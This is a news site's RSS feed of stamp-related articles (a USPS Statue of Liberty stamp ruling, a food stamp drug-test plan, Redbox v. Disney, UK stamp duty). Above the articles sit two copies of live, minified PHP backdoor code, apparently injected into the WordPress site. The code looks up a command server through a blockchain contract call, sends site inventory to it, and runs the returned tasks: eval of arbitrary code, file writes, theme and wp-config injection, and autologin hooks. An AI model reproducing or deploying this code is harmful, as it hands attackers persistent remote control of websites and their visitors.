// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stamp – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 09 Jul 2018 08:44:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png stamp – Brief News https://briefnews.eu 32 32 Post Office owes $3.5M for using wrong Statue of Liberty on a stamp https://briefnews.eu/post-office-owes-3-5m-for-using-wrong-statue-of-liberty-on-a-stamp/ https://briefnews.eu/post-office-owes-3-5m-for-using-wrong-statue-of-liberty-on-a-stamp/#respond Mon, 09 Jul 2018 08:44:02 +0000 http://briefnews.eu/post-office-owes-3-5m-for-using-wrong-statue-of-liberty-on-a-stamp/

Enlarge / Original Statue of Liberty is on the left. Robert Davidson’s Las Vegas replica is on the right. (credit: Charles E. Rotkin/CORBIS/VCG via Getty Images, George Rose/Getty Images)

A sculptor who created a replica of the Statue of Liberty for a Las Vegas casino was awarded $ 3.5 million in damages last week after the US Postal Service (USPS) accidentally used a photo of his statue—rather than a photo of the original statue in New York harbor—on one of its most common stamps.

If you bought a “forever” stamp between 2011 and 2014, there’s a good chance that it showed the face of the Statue of Liberty replica that sculptor Robert Davidson constructed for the New York-New York Hotel and Casino in Las Vegas. The Post Office licensed a photo of Davidson’s statue from the image service Getty for $ 1,500, initially believing it was a photograph of the original statue. (The license only covered the rights to Getty’s photograph of the statue—not the statue itself.)

The stamp with the resulting image was released to the public in December 2010; it took four months before anyone pointed out the mistake to the Post Office. In March 2011, a spokesperson said that the USPS “still loves the stamp design and would have selected this photograph anyway.” The Post Office continued using the photo for almost three years before retiring it in January 2014.

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]]> https://briefnews.eu/post-office-owes-3-5m-for-using-wrong-statue-of-liberty-on-a-stamp/feed/ 0 Trump considering plan to drug test some food stamp recipients https://briefnews.eu/trump-considering-plan-to-drug-test-some-food-stamp-recipients/ https://briefnews.eu/trump-considering-plan-to-drug-test-some-food-stamp-recipients/#respond Thu, 12 Apr 2018 07:23:05 +0000 http://briefnews.eu/trump-considering-plan-to-drug-test-some-food-stamp-recipients/ food stampsSeth Wenig/AP

  • The Trump administration is considering a plan that would allow states to require certain food stamp recipients to undergo drug testing.
  • The plan would be narrowly targeted and would mostly apply to people who are able-bodied, without dependents, and applying for some specialized jobs.
  • One person familiar with the plan said around 5% of participants could be affected.

WASHINGTON (AP) — The Trump administration is considering a plan that would allow states to require certain food stamp recipients to undergo drug testing, handing a win to conservatives who’ve long sought ways to curb the safety net program.

The proposal under review would be narrowly targeted, applying mostly to people who are able-bodied, without dependents and applying for some specialized jobs, according to an administration official briefed on the plan. The official, who spoke on condition of anonymity to discuss internal deliberations, said roughly 5 percent of participants in the Supplemental Nutrition Assistance Program could be affected.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/trump-considering-plan-to-drug-test-some-food-stamp-recipients/feed/ 0 Redbox says Disney lawsuit is a baseless attempt to stamp out rivals https://briefnews.eu/redbox-says-disney-lawsuit-is-a-baseless-attempt-to-stamp-out-rivals/ https://briefnews.eu/redbox-says-disney-lawsuit-is-a-baseless-attempt-to-stamp-out-rivals/#respond Thu, 18 Jan 2018 05:51:21 +0000 http://briefnews.eu/redbox-says-disney-lawsuit-is-a-baseless-attempt-to-stamp-out-rivals/

Last month, Disney filed a lawsuit against Redbox claiming that the rental company was violating Disney’s copyrights. Redbox buys the Disney discs it rents at retail and when those discs come with download codes for digital copies, Redbox sells them to its customers. But Disney says that’s against its terms of sale and requested an injunction, any profits Redbox made from those sales and $ 150,000 per copyright infringement. Redbox has now clapped back, Variety reports, filing an opposition to Disney’s complaint and injunction request.

In its argument, Redbox says that Disney’s request has no legal basis and that the lawsuit is just an attempt to hurt its competition. “By this motion, Plaintiffs seek to stifle competition to more smoothly launch Disney’s own digital content streaming service, maximize the price other services like iTunes and Amazon (and their customers) pay for Disney movies, and secure a greater market share for Hulu — the viewing service Disney will control as part of its $ 52 billion acquisition of 21st Century Fox,” said Redbox. It also calls Disney’s methods “anti-consumer” and “anti-competitive.”

Redbox says that it’s protected by the first-sale doctrine, which allows for the resale of used items, such as DVDs, and that the doctrine applies to the resale of the download codes. It also said in its opposition that it had invested over $ 700,000 and a year’s worth of work into setting up its system to sell digital movie download codes and that an injunction would significantly harm the company.

Disney’s motion will be heard in a Los Angeles court on February 5th.

Via: Variety

]]> https://briefnews.eu/redbox-says-disney-lawsuit-is-a-baseless-attempt-to-stamp-out-rivals/feed/ 0 Stamp duty exemption to help first-time buyers, but what about deposits? https://briefnews.eu/stamp-duty-exemption-to-help-first-time-buyers-but-what-about-deposits/ https://briefnews.eu/stamp-duty-exemption-to-help-first-time-buyers-but-what-about-deposits/#respond Sun, 14 Jan 2018 22:03:23 +0000 http://briefnews.eu/stamp-duty-exemption-to-help-first-time-buyers-but-what-about-deposits/

First Time buyer depositGETTY

First time buyers have been given a leg up when it comes to buying, but what about deposits?

But one couple determined to save for their first home are now counting down the days to moving in after taking drastic action: cutting out shop-bought coffees on the way to work.

“We set ourselves a deadline when it came to buying our home, so when we were saving we had a plan in place,” says Elisha Marsland, 26, a self-confessed “big-time shopper” who admits she always enjoyed her morning latte.

She and fiancé Mike Kirkham, 32, took just 12 months to save a deposit for their new home in Greater Manchester: “We cut out buying things like a coffee on our way to work and we also reduced our date nights from once a week to once a month,” explains Elisha.

“I even created a spreadsheet so that we could keep track of our savings and make sure we were on target for making our home buying dreams come true.”

Now the couple plan to marry in November and move to their three-bedroom new-build house at Countryside’s Blackberry Vale site in Brinnington before the end of the year.

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Morning coffeeGETTY

Cutting down on the morning coffee was an important way to save for a deposit

We set ourselves a deadline when it came to buying our home, so when we were saving we had a plan in place

Elisha Marsland

“What sold us on the home was the kitchen and the skylight windows,” says Elisha.

“I fell in love; but we genuinely thought that the home was out of our budget because it looked so luxurious. You can imagine our joy when we realised we had a big enough deposit.”

The couple used the Government’s Help To Buy scheme, which requires just a five per cent deposit.

Once buyers have the minimum deposit the scheme offers a 20 per cent government loan so that buyers only need a 75 per cent mortgage.

10 Facts about stamp duty

Wed, November 22, 2017

Stamp duty: 10 Facts about about stamp duty following Philip Hammond’s announcement that the stamp duty reserve tax (SDRT) has been scrapped on all homes valued up to £300,000 for first time buyers.

10 Facts about stamp duty

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10 Facts about stamp duty

The loan is paid back on the sale of the property, or at any time earlier. Help To Buy was introduced to aid first-time buyers but is now available to people who have previously owned a home but don’t any more – although only for properties under £600,000 in England, £300,000 in Wales and £150,000 in Northern Ireland.

Scotland has different rules.

Keen to encourage would-be home-owners to set up savings accounts, even Post Office Money has issued a set of new year savings tips, including setting a goal like Elisha and Mike did.

Owen Woodley, managing director of Post Office Money, says: “Saving for a deposit is undoubtedly one of the biggest hurdles many will face. However, 65 per cent of prospective buyers also underestimate the cost of moving. Therefore, setting a savings target early is important to keep you focused and on track.”

Mortgage loan agreementGETTY

The Help to Buy scheme offers a 20 per cent loan so that buyers only need a 75 per cent mortgage

According to Comparemymove.com, the average cost of moving for first-time buyers in London is £7,765.

Although they don’t pay stamp duty on homes under £300,000 (£500,000 in London), higher prices in the capital mean some stamp duty may have to be paid (an average £5,989).

Costs also include conveyancing, surveys and removal services. London’s £7,000-plus figure compares with an average first time buyer’s moving cost of £1,586 in England, £1,531 in Wales and £1,331 in Scotland, says Comparemymove.com.

Post Office Money advises monitoring your spending, so you can identify where to make savings, and using a mortgage affordability calculator, such as the one on postoffice.co.uk, so you know how much you can borrow based on your earnings.

Mortgage advice from Martin Lewis

Mon, December 19, 2016

Martin Lewis warns that the biggest single personal financial risk in 2017 is that mortgage rates will rise rapidly. Here’s the Money Saving Expert’s top mortgage tips.

Mortgage advice from the Money Saving Expert Martin Lewis

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Mortgage advice from the Money Saving Expert Martin Lewis

“Before getting a mortgage you will be credit checked, so now is the time to check your own credit report and ensure all the information it contains is accurate and up to date,” says Woodley.

“Plan now to start paying down any outstanding debt, be sure not to miss any agreed payments on utility bills or mobile phone bills and try to make more than the minimum repayment in the six months prior to your mortgage application.”

Elisha Marsland and Mike Kirkham are delighted to have successfully steered through the obstacle course of first-time buying at Blackberry Vale, where there are still homes available through Help To Buy from £159,995 (0161 464 3664; blackberryvale.co.uk).

But for now, says Elisha: “What I’m really excited about is hosting a celebratory gathering in our new open-plan kitchen and dining space. It’s Mike’s birthday in December so I’m looking forward to planning a big party.”

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]]> https://briefnews.eu/stamp-duty-exemption-to-help-first-time-buyers-but-what-about-deposits/feed/ 0 The Google-backed ads.txt push to stamp out ad fraud is moving much slower than anticipated https://briefnews.eu/the-google-backed-ads-txt-push-to-stamp-out-ad-fraud-is-moving-much-slower-than-anticipated/ https://briefnews.eu/the-google-backed-ads-txt-push-to-stamp-out-ad-fraud-is-moving-much-slower-than-anticipated/#respond Thu, 21 Dec 2017 17:35:07 +0000 http://briefnews.eu/the-google-backed-ads-txt-push-to-stamp-out-ad-fraud-is-moving-much-slower-than-anticipated/ Screen Shot 2017 12 19 at 5.06.35 PMSlate

